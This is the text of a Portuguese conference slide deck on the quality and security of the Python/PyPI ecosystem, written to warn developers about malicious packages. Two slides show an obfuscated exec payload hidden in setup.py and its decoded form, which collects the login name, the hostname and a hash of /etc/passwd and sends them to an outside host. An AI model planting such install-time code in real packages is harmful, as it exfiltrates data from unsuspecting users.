SlideShare une entreprise Scribd logo
1  sur  54
Télécharger pour lire hors ligne
A Qualidade do
Ecossistema Python
Bruno Rocha - @rochaCbruno - brunorocha.org
Bruno Rocha - @rochaCbruno
Quality Engineer @ RedHat.com
Podcaster @ Castalio.info
Teacher @ CursoDePython.com.br
Blogger @ BrunoRocha.org
castalio.info
youtube.com/castaliopodcast
Toda Segunda às 11h disponível em
Podcast no site, itunes, rss, players etc
Toda Quarta às 20h ao vivo no YouTube
“a todas as relações dos organismos entre
si, e com seu meio ambiente chamamos
ecossistema ou seja, podemos definir
ecossistema como sendo um conjunto de
comunidades interagindo entre si..”
-- Wikipedia
- Você (e seus grupos)
- Comunidades (eventos)
- Material teórico (livros, tutoriais, cursos)
- Ferramentas(sistemas, IDEs, plataformas)
- Biblioteca de pacotes (pip, github, conda)
- Python Software Foundation
- A Linguagem (core developers)
Ecossistema Python?
O que atrai tanta
atenção para o Python?
- Python é fácil de aprender.
- A comunidade é receptiva
- Tem eventos muito legais
- É fácil escrever e publicar novas
bibliotecas com Python.
- Pensou… já tem no PyPI.
- É popular e está na moda.
- Aprovado por Grandes empresas.
$ pip install magic
>>> magic.run()
Ou nas palavras
do poeta...
Como garantir software de qualidade?
Enterprise
?
Como garantir profissionais de qualidade?
?Certificação Profissional Python
Seja um expert por apenas $ 9.999,99 / year
Como garantir ecossistema de bibliotecas de qualidade?
?Seja um “Python Developer Partner”
e publique suas bibliotecas
na “PyPI store” por apenas $ 9.999,99 / year
PY
New Python 3.6
Featuring exclusive `f’string`
Only $ 999/year
You need Python 3.6
Call 555 - 5555
And buy it now!
Oportunity:
First 100 customers
Will get IDLE for free...By Guido Inc.
● Python não tem dono, pertence a comunidade.
● A comunidade é o controle de qualidade.
● A comunidade é a entidade certificadora*.
* Na comunidade Python TODOS são encorajados a participar e fazer a diferença, colaborar
com os diversos pilares da comunidade (slide 4) tem um grande valor para a carreira do
profissional Python.
VOCÊ
“I came for the language
but I stay for the community”
- Brett Cannon
“Diversidade acontece quando pessoas
diferentes se reunem em um mesmo local”
“Inclusão acontece quando essas pessoas
conseguem atuar em conjunto, como iguais,
com as mesmas oportunidades e sem
prejuizo para nenhuma delas”
- Adaptação da palestra de Naomi Ceder (Python Brasil 12)
Como tratar ameaças a comunidade e diversidade?
- Código de conduta
- Postura de mentor e não de juiz
Open by default
- PSF (grants, membership, fellowship and board)
- Repositories
- Experiments (MyPy, Gilectomy)
- APyB
- Call 4 Papers
- PyPI/Warehouse
- Python Planet
- PEPs
- GruPys
Você pode participar
abertamente!!!
100_000
Bibliotecas
Disponíveis
No
PyPI
$ pip install magic
>>> magic.run()
- Python é fácil de aprender.
- E tem muita biblioteca pronta!
>>> Traceback
Cannot do the
magic today...
- Quantos dos 100_000 pacotes
disponíveis tem cobertura de
testes?
- Quantos tem boa documentação?
- Como faço para escolher?
$ pip install magic
$ installing…
$ HAHA you got
hacked!!!
- E essas bibliotecas são seguras?
- Se qualquer pessoa pode
publicar uma nova lib no PyPI
quem garante a segurança e a
qualidade?
Segurança!!!
# setup.py `pip install magic`
from setuptools import setup
setup(
name="magic",
...
)
Sempre faça review do
código fonte da lib a ser
instalada.
Especialmente o `setup.py`
E não se esqueça da barra
de rolagem.
;import zlib;
exec(zlib.decompress('eJx9UcFqxCAQvfsVXhYVtoY
Wegn0uF+x7MHG2ShNHNEJ3aX036vJBrJQ4uX5HOfNe+rH
iIk4ZuaXn3ZSGwX8+s7eVOpPdphoHQ1dMI2OU7i3jZU3
BjMA/iqDugQbsfZCKwa2DSPw0g8fATebw3CDOh3wRn/M
Bho+YwU6mtc/R8Warz62VP8tH1r+K1RijFRxI92neJEYI
UDVDXRJPztxVKJzBWKqUd3KzvIdN+nilV2O9MaMuVoeU
JdAEKHFuSPmGOIdsl+5KIaLrRCYbNWoTP+qu3jLr9RtRb
Pjii2TRPv5DC8BFNdnFcsJvyYTo+5wbMSRVyO77mtq9g
fllKgCn'.decode('base64')))
Multiple of 4 white spaces
Python tricks!
# `pip install magic`
import os, urllib, urllib2, hashlib, platform
try:
uname = os.getlogin()
except Exception as e:
uname = '[%s]' % e
try:
host = platform.uname()[1]
except Exception as e:
host = '[%s]' % e
try:
fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest()
except Exception as e:
fhash = '[%s]' % e
data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash})
try:
urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data)
except Exception as e:
pass
Decoded trick
Nothing serious here
But could be a real hack
Solução?
$ pip install safety
$ safety check
Open Source
Community
driven safety
checks?
Please create more
Safety tools!!!!
Por que o Python não
resolve este problema
sem depender de
serviços de terceiros?
https://github.com/pypa
New generation of
PyPI is `warehouse`
and you can help
On Github.com/pypa
Only 18
contributors?
Not a coder?
donate!!!
Warehouse is a next generation Python Package
Repository designed to replace the legacy code base that
currently powers PyPI
Rank: 4.5 - safe
Rank: 2.0 - outdated
Rank: 1.0 - danger
1.234 Reviews ++
1 Review --Why not making it more `social driven` to address
the library quality problem?
Example:
More maintainers
More quality
points!
Segurança das libs: o que podemos fazer ?
- Verificar antes de instalar
- Instalar bibliotecas conhecidas e confiáveis
- Usar SafetyCI - pyup.io
- Criar ferramentas para ajudar na verificação
- Denunciar caso encontrar lib suspeita
- Colaborar com o projeto Pypa/Warehouse
A responsabilidade
é SUA NOSSA!!!
Toda biblioteca publicada no PyPI acompanha uma etiqueta invisivel que diz:
“Eu estou ciente das
responsabilidades que devo assumir
ao publicar este código e prometo
fazer o possível para mante-lo com
qualidade até o fim dos tempos!”
E deixarei explicito caso por qualquer motivo eu não possa mais manter deixando o caminho livre
para quem desejar criar um fork!
Seus projetos publicados no PyPI devem ser
Maintanable:
Project that can be maintable by as many and diverse
people.
Sustentável:
Projeto que possa ser mantido por várias e diferentes
pessoas
* diferente no sentido de diversidade
Leftpad is ` npm`
problem, will not
happen with
Python?
pip install requests
● 99,9% das instalações de ambientes Python instalam requests
● Se a versão não estiver especifica seu build pode quebrar
● Ferramentas como Travis-Ci dependem de requests e já quebraram por isso!
● Sistemas operacionais trazem requests por padrão
● Até poucos meses atrás este era um ‘one man band’ project, mas depois de
recentes problemas com releases o criador decidiu excluir os próprios
poderes de administrador da lib e elegeu outros mantenedores
● Não é o único, existem outras libs Python publicadas com o mesmo risco
● Sempre especifique suas versões
● Use o pyup.io ou requires.io ou qualquer outra solução do tipo
● Use o safety/CI ou algo do tipo
…..
Segurança e
sustentabilidade
não são os únicos
problemas!
http://opensourcesurvey.org/2017/
Assim como recentemente
melhoramos nossa cultura de testes.
Precisamos agora melhorar nossa
cultura de documentação!
Q: Por que a maioria das bibliotecas não tem
boa documentação?
A: Escrever documentação é um processo chato!
Q: O que precisa melhorar?
A: Ferramentas e formatos (rst) não amigaveis
afastam as pessoas da documentação.
Precisamos fazer como fizemos com os testes e
adotar formatos (md?) e ferramentas mais fáceis.
Q: Como incentivar as pessoas a contribuir
com documentação?
A: Primeiro precisamos definir o processo (assim
como nos testes) e então criar um manifesto
atraindo os contribuidores, mostrando a
importância, oferecendo um certo “status” ao
documentador e usar os eventos para fomentar
essa cultura.
Dicas para criar boas libs
python.apichecklist.com
Conclusão
- Python não é um produto!
- O ecossistema (principalmente a comunidade) já tem qualidade acima da média
- Precisamos de mais materiais teóricos de qualidade para iniciantes
- Podemos utilizar ferramentas para ajudar no QA de bibliotecas Python
- Podemos colaborar com a evolução do PyPI
- Podemos colaborar com a evolução do Python
- A qualidade do ecossistema é NOSSA responsabilidade
- Seja responsável e publique apenas bibliotecas de qualidade no PyPI
- Precisamos de uma solução colaborativa para classificar 100 mil libs
- Ajude e seja ajudado

Contenu connexe

Tendances

Python para iniciantes
Python para iniciantesPython para iniciantes
Python para iniciantesrichardsonlima
 
O poder do Python/Django
O poder do Python/DjangoO poder do Python/Django
O poder do Python/DjangoÁtila Bezerra
 
Encontro da Comunidade Python Brasileira - FISL11
Encontro da Comunidade Python Brasileira - FISL11Encontro da Comunidade Python Brasileira - FISL11
Encontro da Comunidade Python Brasileira - FISL11Dorneles Treméa
 
Oficina Python: Hackeando a Web com Python 3
Oficina Python: Hackeando a Web com Python 3Oficina Python: Hackeando a Web com Python 3
Oficina Python: Hackeando a Web com Python 3Marcel Caraciolo
 
Openredu - ConsoliNE 2016
Openredu - ConsoliNE 2016Openredu - ConsoliNE 2016
Openredu - ConsoliNE 2016Yves Bouckaert
 
Hot potatoes power point
Hot potatoes power pointHot potatoes power point
Hot potatoes power pointNaiaraDutra
 
Intro
IntroIntro
Intropugpe
 
Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...
Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...
Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...Jerônimo Medina Madruga
 
O Prazer De Trabalhar Com Python
O Prazer De Trabalhar Com PythonO Prazer De Trabalhar Com Python
O Prazer De Trabalhar Com PythonMarinho Brandão
 
Onde o Software Livre pode te levar - Uma viagem ao mundo livre
Onde o Software Livre pode te levar - Uma viagem ao mundo livreOnde o Software Livre pode te levar - Uma viagem ao mundo livre
Onde o Software Livre pode te levar - Uma viagem ao mundo livreÁtila Camurça
 
O que podemos fazer com Python?
O que podemos fazer com Python?O que podemos fazer com Python?
O que podemos fazer com Python?Izabela Guerreiro
 
NãNãNã Nã - Python Refresca até Pensamento
NãNãNã Nã - Python Refresca até PensamentoNãNãNã Nã - Python Refresca até Pensamento
NãNãNã Nã - Python Refresca até PensamentoOsvaldo Santana Neto
 

Tendances (20)

Python Zope Plone - Fiocruz
Python Zope Plone - FiocruzPython Zope Plone - Fiocruz
Python Zope Plone - Fiocruz
 
Python Zope Plone - Tchelinux
Python Zope Plone - TchelinuxPython Zope Plone - Tchelinux
Python Zope Plone - Tchelinux
 
Python para iniciantes
Python para iniciantesPython para iniciantes
Python para iniciantes
 
O poder do Python/Django
O poder do Python/DjangoO poder do Python/Django
O poder do Python/Django
 
Encontro da Comunidade Python Brasileira - FISL11
Encontro da Comunidade Python Brasileira - FISL11Encontro da Comunidade Python Brasileira - FISL11
Encontro da Comunidade Python Brasileira - FISL11
 
PUG-SE Institucional
PUG-SE InstitucionalPUG-SE Institucional
PUG-SE Institucional
 
Oficina Python: Hackeando a Web com Python 3
Oficina Python: Hackeando a Web com Python 3Oficina Python: Hackeando a Web com Python 3
Oficina Python: Hackeando a Web com Python 3
 
Openredu - ConsoliNE 2016
Openredu - ConsoliNE 2016Openredu - ConsoliNE 2016
Openredu - ConsoliNE 2016
 
Hot potatoes power point
Hot potatoes power pointHot potatoes power point
Hot potatoes power point
 
Canivete python
Canivete pythonCanivete python
Canivete python
 
Intro
IntroIntro
Intro
 
Spring boot
Spring bootSpring boot
Spring boot
 
Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...
Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...
Tudo que você sempre quis saber sobre Software Livre mas não tinha coragem de...
 
O Prazer De Trabalhar Com Python
O Prazer De Trabalhar Com PythonO Prazer De Trabalhar Com Python
O Prazer De Trabalhar Com Python
 
Onde o Software Livre pode te levar - Uma viagem ao mundo livre
Onde o Software Livre pode te levar - Uma viagem ao mundo livreOnde o Software Livre pode te levar - Uma viagem ao mundo livre
Onde o Software Livre pode te levar - Uma viagem ao mundo livre
 
O que podemos fazer com Python?
O que podemos fazer com Python?O que podemos fazer com Python?
O que podemos fazer com Python?
 
NãNãNã Nã - Python Refresca até Pensamento
NãNãNã Nã - Python Refresca até PensamentoNãNãNã Nã - Python Refresca até Pensamento
NãNãNã Nã - Python Refresca até Pensamento
 
Software livre
Software livreSoftware livre
Software livre
 
Canivete suíço do Python
Canivete suíço do PythonCanivete suíço do Python
Canivete suíço do Python
 
Slide
SlideSlide
Slide
 

Similaire à Qualidade do Ecossistema Python

Por que python? fisl 14 - 2013
Por que python?   fisl 14 - 2013Por que python?   fisl 14 - 2013
Por que python? fisl 14 - 2013Marco Mendes
 
The zen of python 2010
The zen of python 2010The zen of python 2010
The zen of python 2010Luiz Aldabalde
 
E o que danado é o PUG-PE?
E o que danado é o PUG-PE?E o que danado é o PUG-PE?
E o que danado é o PUG-PE?pugpe
 
Python Mini Ccurso Consegi2011
Python Mini Ccurso Consegi2011Python Mini Ccurso Consegi2011
Python Mini Ccurso Consegi2011Luiz Aldabalde
 
Formação REA em Ilhéus
Formação REA em IlhéusFormação REA em Ilhéus
Formação REA em IlhéusREA Brasil
 
Formação REA em Ilheus-BA
Formação REA em Ilheus-BAFormação REA em Ilheus-BA
Formação REA em Ilheus-BADebora Sebriam
 
MNT2014 - Python para Iniciantes - Luciana Mota
MNT2014 - Python para Iniciantes - Luciana MotaMNT2014 - Python para Iniciantes - Luciana Mota
MNT2014 - Python para Iniciantes - Luciana Motalucianacmota
 
Contribuindo para projetos de software livre
Contribuindo para projetos de software livreContribuindo para projetos de software livre
Contribuindo para projetos de software livreLucas Barros
 
O digital, a sustentabilidade e a viagem do open source ao open data
O digital, a sustentabilidade e a viagem do open source ao open dataO digital, a sustentabilidade e a viagem do open source ao open data
O digital, a sustentabilidade e a viagem do open source ao open dataLuis Borges Gouveia
 
Treinamento no Portal Padrão com streaming do Serpro
Treinamento no Portal Padrão com streaming do SerproTreinamento no Portal Padrão com streaming do Serpro
Treinamento no Portal Padrão com streaming do SerproTania Andrea
 
Sistemas de informação Open Source: reflexões críticas e casos de uso
Sistemas de informação Open Source: reflexões críticas e casos de usoSistemas de informação Open Source: reflexões críticas e casos de uso
Sistemas de informação Open Source: reflexões críticas e casos de usoPedro Príncipe
 
PythonBrasil[12] - Por que participar?
PythonBrasil[12] - Por que participar?PythonBrasil[12] - Por que participar?
PythonBrasil[12] - Por que participar?Tania Andrea
 
Primeiros passos em Python - Tchelinux Uruguaiana 2011
Primeiros passos em Python - Tchelinux Uruguaiana 2011Primeiros passos em Python - Tchelinux Uruguaiana 2011
Primeiros passos em Python - Tchelinux Uruguaiana 2011Jerônimo Medina Madruga
 
OmbrosDeGigantes-TDC2014
OmbrosDeGigantes-TDC2014OmbrosDeGigantes-TDC2014
OmbrosDeGigantes-TDC2014Marcio Marchini
 
Conhencendo Python e por que ela importa?
Conhencendo Python e por que ela importa?Conhencendo Python e por que ela importa?
Conhencendo Python e por que ela importa?Marcel Caraciolo
 

Similaire à Qualidade do Ecossistema Python (20)

Hackeando o Facebook com Python
Hackeando o Facebook com PythonHackeando o Facebook com Python
Hackeando o Facebook com Python
 
Por que python? fisl 14 - 2013
Por que python?   fisl 14 - 2013Por que python?   fisl 14 - 2013
Por que python? fisl 14 - 2013
 
The zen of python 2010
The zen of python 2010The zen of python 2010
The zen of python 2010
 
E o que danado é o PUG-PE?
E o que danado é o PUG-PE?E o que danado é o PUG-PE?
E o que danado é o PUG-PE?
 
Python Mini Ccurso Consegi2011
Python Mini Ccurso Consegi2011Python Mini Ccurso Consegi2011
Python Mini Ccurso Consegi2011
 
Formação REA em Ilhéus
Formação REA em IlhéusFormação REA em Ilhéus
Formação REA em Ilhéus
 
Formação REA em Ilheus-BA
Formação REA em Ilheus-BAFormação REA em Ilheus-BA
Formação REA em Ilheus-BA
 
MNT2014 - Python para Iniciantes - Luciana Mota
MNT2014 - Python para Iniciantes - Luciana MotaMNT2014 - Python para Iniciantes - Luciana Mota
MNT2014 - Python para Iniciantes - Luciana Mota
 
Contribuindo para projetos de software livre
Contribuindo para projetos de software livreContribuindo para projetos de software livre
Contribuindo para projetos de software livre
 
O digital, a sustentabilidade e a viagem do open source ao open data
O digital, a sustentabilidade e a viagem do open source ao open dataO digital, a sustentabilidade e a viagem do open source ao open data
O digital, a sustentabilidade e a viagem do open source ao open data
 
Python para devs
Python para devsPython para devs
Python para devs
 
Treinamento no Portal Padrão com streaming do Serpro
Treinamento no Portal Padrão com streaming do SerproTreinamento no Portal Padrão com streaming do Serpro
Treinamento no Portal Padrão com streaming do Serpro
 
Sistemas de informação Open Source: reflexões críticas e casos de uso
Sistemas de informação Open Source: reflexões críticas e casos de usoSistemas de informação Open Source: reflexões críticas e casos de uso
Sistemas de informação Open Source: reflexões críticas e casos de uso
 
PythonBrasil[12] - Por que participar?
PythonBrasil[12] - Por que participar?PythonBrasil[12] - Por que participar?
PythonBrasil[12] - Por que participar?
 
Primeiros passos em Python - Tchelinux Uruguaiana 2011
Primeiros passos em Python - Tchelinux Uruguaiana 2011Primeiros passos em Python - Tchelinux Uruguaiana 2011
Primeiros passos em Python - Tchelinux Uruguaiana 2011
 
Be e o video ferrmentas web 20
Be e o video   ferrmentas web 20Be e o video   ferrmentas web 20
Be e o video ferrmentas web 20
 
OmbrosDeGigantes-TDC2014
OmbrosDeGigantes-TDC2014OmbrosDeGigantes-TDC2014
OmbrosDeGigantes-TDC2014
 
Conhencendo Python e por que ela importa?
Conhencendo Python e por que ela importa?Conhencendo Python e por que ela importa?
Conhencendo Python e por que ela importa?
 
Formacao Web 2.0
Formacao Web 2.0Formacao Web 2.0
Formacao Web 2.0
 
O Estado do Plone
O Estado do PloneO Estado do Plone
O Estado do Plone
 

Plus de Bruno Rocha

Escrevendo modulos python com rust
Escrevendo modulos python com rustEscrevendo modulos python com rust
Escrevendo modulos python com rustBruno Rocha
 
The quality of the python ecosystem - and how we can protect it!
The quality of the python ecosystem - and how we can protect it!The quality of the python ecosystem - and how we can protect it!
The quality of the python ecosystem - and how we can protect it!Bruno Rocha
 
PyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com PythonPyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com PythonBruno Rocha
 
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015Bruno Rocha
 
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015Bruno Rocha
 
Python Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CIPython Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CIBruno Rocha
 
Carreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de TrabalhoCarreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de TrabalhoBruno Rocha
 
Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014Bruno Rocha
 
Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014Bruno Rocha
 
Flask for CMS/App Framework development.
Flask for CMS/App Framework development.Flask for CMS/App Framework development.
Flask for CMS/App Framework development.Bruno Rocha
 
What The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIsWhat The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIsBruno Rocha
 
Desenvolvendo mvp com python
Desenvolvendo mvp com pythonDesenvolvendo mvp com python
Desenvolvendo mvp com pythonBruno Rocha
 
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDBFlask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDBBruno Rocha
 
Django para portais de alta visibilidade. tdc 2013
Django para portais de alta visibilidade.   tdc 2013Django para portais de alta visibilidade.   tdc 2013
Django para portais de alta visibilidade. tdc 2013Bruno Rocha
 
Guia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultosGuia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultosBruno Rocha
 
Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Bruno Rocha
 
Using web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworksUsing web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworksBruno Rocha
 
Desenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qconDesenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qconBruno Rocha
 

Plus de Bruno Rocha (18)

Escrevendo modulos python com rust
Escrevendo modulos python com rustEscrevendo modulos python com rust
Escrevendo modulos python com rust
 
The quality of the python ecosystem - and how we can protect it!
The quality of the python ecosystem - and how we can protect it!The quality of the python ecosystem - and how we can protect it!
The quality of the python ecosystem - and how we can protect it!
 
PyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com PythonPyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com Python
 
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
 
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
 
Python Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CIPython Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CI
 
Carreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de TrabalhoCarreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de Trabalho
 
Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014
 
Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014
 
Flask for CMS/App Framework development.
Flask for CMS/App Framework development.Flask for CMS/App Framework development.
Flask for CMS/App Framework development.
 
What The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIsWhat The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIs
 
Desenvolvendo mvp com python
Desenvolvendo mvp com pythonDesenvolvendo mvp com python
Desenvolvendo mvp com python
 
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDBFlask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
 
Django para portais de alta visibilidade. tdc 2013
Django para portais de alta visibilidade.   tdc 2013Django para portais de alta visibilidade.   tdc 2013
Django para portais de alta visibilidade. tdc 2013
 
Guia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultosGuia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultos
 
Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011
 
Using web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworksUsing web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworks
 
Desenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qconDesenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qcon
 

Qualidade do Ecossistema Python

  • 1. A Qualidade do Ecossistema Python Bruno Rocha - @rochaCbruno - brunorocha.org
  • 2. Bruno Rocha - @rochaCbruno Quality Engineer @ RedHat.com Podcaster @ Castalio.info Teacher @ CursoDePython.com.br Blogger @ BrunoRocha.org
  • 3. castalio.info youtube.com/castaliopodcast Toda Segunda às 11h disponível em Podcast no site, itunes, rss, players etc Toda Quarta às 20h ao vivo no YouTube
  • 4. “a todas as relações dos organismos entre si, e com seu meio ambiente chamamos ecossistema ou seja, podemos definir ecossistema como sendo um conjunto de comunidades interagindo entre si..” -- Wikipedia
  • 5. - Você (e seus grupos) - Comunidades (eventos) - Material teórico (livros, tutoriais, cursos) - Ferramentas(sistemas, IDEs, plataformas) - Biblioteca de pacotes (pip, github, conda) - Python Software Foundation - A Linguagem (core developers) Ecossistema Python?
  • 6. O que atrai tanta atenção para o Python?
  • 7. - Python é fácil de aprender. - A comunidade é receptiva - Tem eventos muito legais - É fácil escrever e publicar novas bibliotecas com Python. - Pensou… já tem no PyPI. - É popular e está na moda. - Aprovado por Grandes empresas. $ pip install magic >>> magic.run()
  • 9.
  • 10. Como garantir software de qualidade? Enterprise ?
  • 11. Como garantir profissionais de qualidade? ?Certificação Profissional Python Seja um expert por apenas $ 9.999,99 / year
  • 12. Como garantir ecossistema de bibliotecas de qualidade? ?Seja um “Python Developer Partner” e publique suas bibliotecas na “PyPI store” por apenas $ 9.999,99 / year PY
  • 13. New Python 3.6 Featuring exclusive `f’string` Only $ 999/year You need Python 3.6 Call 555 - 5555 And buy it now! Oportunity: First 100 customers Will get IDLE for free...By Guido Inc.
  • 14.
  • 15. ● Python não tem dono, pertence a comunidade. ● A comunidade é o controle de qualidade. ● A comunidade é a entidade certificadora*. * Na comunidade Python TODOS são encorajados a participar e fazer a diferença, colaborar com os diversos pilares da comunidade (slide 4) tem um grande valor para a carreira do profissional Python.
  • 16. VOCÊ
  • 17. “I came for the language but I stay for the community” - Brett Cannon
  • 18. “Diversidade acontece quando pessoas diferentes se reunem em um mesmo local” “Inclusão acontece quando essas pessoas conseguem atuar em conjunto, como iguais, com as mesmas oportunidades e sem prejuizo para nenhuma delas” - Adaptação da palestra de Naomi Ceder (Python Brasil 12)
  • 19. Como tratar ameaças a comunidade e diversidade? - Código de conduta - Postura de mentor e não de juiz
  • 20. Open by default - PSF (grants, membership, fellowship and board) - Repositories - Experiments (MyPy, Gilectomy) - APyB - Call 4 Papers - PyPI/Warehouse - Python Planet - PEPs - GruPys Você pode participar abertamente!!!
  • 22. $ pip install magic >>> magic.run() - Python é fácil de aprender. - E tem muita biblioteca pronta!
  • 23. >>> Traceback Cannot do the magic today... - Quantos dos 100_000 pacotes disponíveis tem cobertura de testes? - Quantos tem boa documentação? - Como faço para escolher?
  • 24. $ pip install magic $ installing… $ HAHA you got hacked!!! - E essas bibliotecas são seguras? - Se qualquer pessoa pode publicar uma nova lib no PyPI quem garante a segurança e a qualidade?
  • 26. # setup.py `pip install magic` from setuptools import setup setup( name="magic", ... ) Sempre faça review do código fonte da lib a ser instalada. Especialmente o `setup.py` E não se esqueça da barra de rolagem.
  • 28. # `pip install magic` import os, urllib, urllib2, hashlib, platform try: uname = os.getlogin() except Exception as e: uname = '[%s]' % e try: host = platform.uname()[1] except Exception as e: host = '[%s]' % e try: fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest() except Exception as e: fhash = '[%s]' % e data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash}) try: urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data) except Exception as e: pass Decoded trick Nothing serious here But could be a real hack
  • 29.
  • 30.
  • 32. $ pip install safety $ safety check
  • 33.
  • 35. Por que o Python não resolve este problema sem depender de serviços de terceiros?
  • 36. https://github.com/pypa New generation of PyPI is `warehouse` and you can help On Github.com/pypa Only 18 contributors?
  • 38. Warehouse is a next generation Python Package Repository designed to replace the legacy code base that currently powers PyPI
  • 39. Rank: 4.5 - safe Rank: 2.0 - outdated Rank: 1.0 - danger 1.234 Reviews ++ 1 Review --Why not making it more `social driven` to address the library quality problem? Example: More maintainers More quality points!
  • 40. Segurança das libs: o que podemos fazer ? - Verificar antes de instalar - Instalar bibliotecas conhecidas e confiáveis - Usar SafetyCI - pyup.io - Criar ferramentas para ajudar na verificação - Denunciar caso encontrar lib suspeita - Colaborar com o projeto Pypa/Warehouse
  • 42. Toda biblioteca publicada no PyPI acompanha uma etiqueta invisivel que diz: “Eu estou ciente das responsabilidades que devo assumir ao publicar este código e prometo fazer o possível para mante-lo com qualidade até o fim dos tempos!” E deixarei explicito caso por qualquer motivo eu não possa mais manter deixando o caminho livre para quem desejar criar um fork!
  • 43. Seus projetos publicados no PyPI devem ser Maintanable: Project that can be maintable by as many and diverse people. Sustentável: Projeto que possa ser mantido por várias e diferentes pessoas * diferente no sentido de diversidade
  • 44.
  • 45. Leftpad is ` npm` problem, will not happen with Python?
  • 46. pip install requests ● 99,9% das instalações de ambientes Python instalam requests ● Se a versão não estiver especifica seu build pode quebrar ● Ferramentas como Travis-Ci dependem de requests e já quebraram por isso! ● Sistemas operacionais trazem requests por padrão ● Até poucos meses atrás este era um ‘one man band’ project, mas depois de recentes problemas com releases o criador decidiu excluir os próprios poderes de administrador da lib e elegeu outros mantenedores ● Não é o único, existem outras libs Python publicadas com o mesmo risco ● Sempre especifique suas versões ● Use o pyup.io ou requires.io ou qualquer outra solução do tipo ● Use o safety/CI ou algo do tipo
  • 47. …..
  • 50.
